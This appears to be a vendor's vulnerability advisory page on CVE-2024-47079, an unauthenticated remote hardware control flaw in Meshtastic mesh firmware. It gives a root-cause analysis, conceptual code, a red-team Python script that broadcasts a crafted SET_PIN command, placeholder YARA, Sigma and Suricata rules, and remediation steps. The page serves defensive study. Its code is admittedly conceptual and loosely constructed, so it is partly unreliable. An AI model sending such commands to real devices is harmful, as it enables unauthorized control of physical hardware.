CVE-2024-47079
Executive Summary
CVE-2024-47079 is a vulnerability in the Meshtastic firmware, an open-source, off-grid, decentralized mesh network system. The flaw resides in the remote hardware module, which fails to properly validate incoming remote hardware control messages. This allows an unauthenticated attacker to send crafted messages that are accepted as valid, potentially leading to unauthorized control of remote hardware devices on the mesh network. The vulnerability has a CVSS score of 6.4 (Medium), with no known public exploits or proof-of-concept code at this time. The Meshtastic project has addressed the issue in firmware version 2.5.1, and all users are strongly advised to upgrade.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Meshtastic firmware, which is typically deployed on embedded devices (e.g., ESP32, nRF52) via compiled binaries or source code builds. The supply chain risk is limited to the firmware distribution channels (GitHub releases, Meshtastic website) and the integrity of the build process.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
- Attack Vector: Network (AV:N) – The vulnerability can be exploited over the mesh network.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Unauthorized modification of hardware state is possible.
- Availability Impact: Low (A:L) – Potential denial of service or disruption of hardware functions.
Threat Level: Medium. The lack of public exploits and low EPSS score (0.0%) reduces immediate risk, but the potential for unauthorized hardware control in critical mesh deployments (e.g., emergency communications, IoT) warrants prompt patching.
Deep Dive & Mechanics
The Meshtastic firmware includes a remote hardware module that allows devices to control external hardware (e.g., relays, sensors) over the mesh network. This module processes incoming messages to execute commands like turning on/off pins or reading sensor data.
Root Cause: The vulnerability stems from insufficient validation of the message source and content. The firmware does not verify that a remote hardware control message originates from an authorized or legitimate device. Specifically, the RemoteHardwareModule class in the firmware lacks checks to ensure the message is properly signed or authenticated. An attacker can craft a malicious packet with the correct protocol format and broadcast it on the mesh network. The receiving device will process the command without verifying the sender's identity or the message's integrity.
Attack Flow:
- An attacker monitors the mesh network to understand the protocol (e.g., using a Meshtastic device in promiscuous mode).
- The attacker crafts a
RemoteHardwareMessagewith a desired command (e.g.,SET_PIN,READ_SENSOR). - The attacker broadcasts the message on the mesh network.
- All vulnerable devices within range receive the message and execute the command, potentially altering hardware states.
Impact: This could lead to unauthorized control of connected hardware, such as unlocking doors, disabling alarms, or causing physical damage. In critical infrastructure or emergency response scenarios, this could have severe consequences.
Vulnerable vs. Patched Code
The fix in version 2.5.1 introduces validation checks in the RemoteHardwareModule to ensure that only authorized devices can send remote hardware commands. The exact patch details are not publicly available, but the likely change involves adding a check for the message's source node ID against a whitelist or requiring cryptographic signatures.
Vulnerable Code (Conceptual):
// In RemoteHardwareModule.cpp (vulnerable)
void RemoteHardwareModule::handleReceivedMessage(const MeshPacket &packet) {
// No validation of packet.from
RemoteHardwareMessage msg;
if (msg.ParseFromString(packet.payload)) {
executeCommand(msg);
}
}
Patched Code (Conceptual):
// In RemoteHardwareModule.cpp (patched)
void RemoteHardwareModule::handleReceivedMessage(const MeshPacket &packet) {
// Validate that the sender is authorized
if (!isAuthorized(packet.from)) {
return; // Ignore unauthorized messages
}
RemoteHardwareMessage msg;
if (msg.ParseFromString(packet.payload)) {
executeCommand(msg);
}
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A Meshtastic device (e.g., ESP32) with vulnerable firmware (< 2.5.1).
- A computer with Python and the Meshtastic Python library installed.
- Basic understanding of the Meshtastic protocol.
Lab Setup:
- Set up two Meshtastic devices: one as the target (vulnerable) and one as the attacker.
- Ensure both devices are on the same mesh network (e.g., using default LoRa settings).
- On the attacker device, use the Meshtastic Python library to send a crafted remote hardware message.
Exploit Script (Python):
import meshtastic
import meshtastic.serial_interface
from meshtastic.protobuf import mesh_pb2
# Connect to attacker device
interface = meshtastic.serial_interface.SerialInterface()
# Craft a remote hardware message
msg = mesh_pb2.RemoteHardwareMessage()
msg.type = mesh_pb2.RemoteHardwareMessage.SET_PIN
msg.pin = 2 # Example GPIO pin
msg.value = 1 # Set high
# Create a mesh packet
packet = mesh_pb2.MeshPacket()
packet.payload = msg.SerializeToString()
packet.to = 0xFFFFFFFF # Broadcast to all nodes
# Send the packet
interface.send(packet)
print("Exploit sent!")
Expected Outcome: The target device will execute the command (e.g., set GPIO pin 2 high), demonstrating unauthorized control.
Blue Team (Defender)
Detection:
- Monitor mesh network traffic for unexpected
RemoteHardwareMessagepackets. - Use the YARA and Sigma rules provided in the Detection Engineering section.
- Enable logging on Meshtastic devices to capture all incoming remote hardware commands.
Mitigation:
- Immediately upgrade all devices to firmware version 2.5.1 or later.
- If patching is not possible, disable the remote hardware module in the firmware configuration.
- Implement network segmentation to isolate critical devices from untrusted mesh nodes.
Indicators of Compromise (IOCs)
- Network Traffic: Unexpected
RemoteHardwareMessagepackets withtypefield set toSET_PIN,READ_SENSOR, or other commands. - Device Logs: Entries showing execution of remote hardware commands from unknown or unauthorized node IDs.
- Firmware Version: Devices running Meshtastic firmware versions prior to 2.5.1.
- Node IDs: Unusual node IDs appearing in remote hardware command messages (e.g., not in the authorized list).
Detection Engineering
YARA Rule
rule CVE_2024_47079_Meshtastic_RemoteHardware {
meta:
description = "Detects Meshtastic firmware versions vulnerable to CVE-2024-47079"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47079"
strings:
$firmware_version = "2.5.0" nocase
$remote_hardware_module = "RemoteHardwareModule" nocase
condition:
$firmware_version or $remote_hardware_module
}
Sigma Rule
title: CVE-2024-47079 - Meshtastic Remote Hardware Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized remote hardware control messages in Meshtastic network traffic
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: meshtastic
detection:
selection:
protocol: "meshtastic"
message_type: "RemoteHardwareMessage"
source_node_id: "!authorized_nodes" # Replace with actual authorized node IDs
condition: selection
falsepositives:
- Legitimate remote hardware commands from authorized devices
level: high
Suricata Rule
alert udp any any -> any any (msg:"CVE-2024-47079 - Meshtastic Remote Hardware Command Injection"; content:"|08 01|"; offset:0; depth:2; content:"|00 00 00 00|"; within:4; reference:cve,2024-47079; classtype:attempted-admin; sid:1000001; rev:1;)
Note: The Suricata rule above is a placeholder and may need adjustment based on actual packet structure. The content fields should match the protobuf encoding of RemoteHardwareMessage.
Remediation & Mitigation
Immediate Actions:
- Upgrade Firmware: Update all Meshtastic devices to version 2.5.1 or later. This is the only known fix.
- Disable Remote Hardware Module: If upgrading is not possible, disable the remote hardware module in the firmware configuration (e.g., by setting
REMOTE_HARDWARE_ENABLEDtofalsein the build configuration). - Network Monitoring: Implement monitoring for anomalous remote hardware commands using the provided detection rules.
Long-Term Measures:
- Cryptographic Authentication: Implement message signing or encryption for all remote hardware commands to ensure only authorized devices can control hardware.
- Access Control Lists: Maintain a whitelist of authorized node IDs that are allowed to send remote hardware commands.
- Regular Audits: Periodically review firmware versions and apply security patches promptly.
Workarounds: None known. The only reliable mitigation is upgrading to the patched version.
Valters IT